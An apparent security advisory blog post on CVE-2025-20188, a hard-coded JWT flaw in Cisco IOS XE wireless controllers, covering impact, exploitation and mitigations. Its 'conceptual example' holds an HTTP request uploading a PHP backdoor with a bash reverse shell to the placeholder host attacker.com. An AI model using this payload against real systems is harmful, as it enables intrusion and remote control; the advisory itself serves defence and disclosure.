Overview
The blog post details a severe vulnerability, CVE-2025-20188, affecting the Cisco IOS XE Software for Wireless LAN Controllers (WLCs). This flaw is particularly concerning as it opens up the possibility for an unauthenticated, remote attacker to upload arbitrary files to an affected system, potentially compromising the system or causing data leakage.
This vulnerability, if exploited, can have severe consequences for organizations relying on Cisco’s WLCs, as it can result in unauthorized system control or even data breaches. Given the widespread use of these controllers in enterprise networks worldwide, understanding and addressing this vulnerability is of paramount importance.
Vulnerability Summary
CVE ID: CVE-2025-20188
Severity: Critical (CVSS: 10.0)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, potential data leakage
Affected Products
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Product | Affected Versions
Cisco IOS XE Software for Wireless LAN Controllers | All versions with Out-of-Band AP Image Download feature
How the Exploit Works
The CVE-2025-20188 vulnerability stems from a hard-coded JSON Web Token (JWT) in the system. Attackers can exploit this by sending crafted HTTPS requests to the AP image download interface of the affected device. If successful, this exploit allows an attacker not only to upload arbitrary files but also to perform path traversal and execute arbitrary commands with root privileges. This exploit, however, requires the Out-of-Band AP Image Download feature to be enabled on the device.
Conceptual Example Code
Below is a conceptual example of how an HTTPS request exploiting this vulnerability might look:
POST /ap_image_download HTTP/1.1
Host: target.example.com
Content-Type: application/json
Authorization: Bearer hardcoded_jwt
{
"file": "/var/www/html/backdoor.php",
"content": "<?php exec('/bin/bash -c \"bash -i >& /dev/tcp/attacker.com/8080 0>&1\"'); ?>"
}In this conceptual example, the attacker is attempting to upload a PHP backdoor to the target’s web root. If successful, this would give the attacker the ability to execute arbitrary commands on the system.
Recommendations and Mitigation
The primary mitigation for this vulnerability is to apply the vendor-provided patch. If this is not immediately feasible, employing a web application firewall (WAF) or intrusion detection system (IDS) can serve as a temporary mitigation strategy. It is also recommended to disable the Out-of-Band AP Image Download feature if it is not strictly necessary for your organization’s operations.
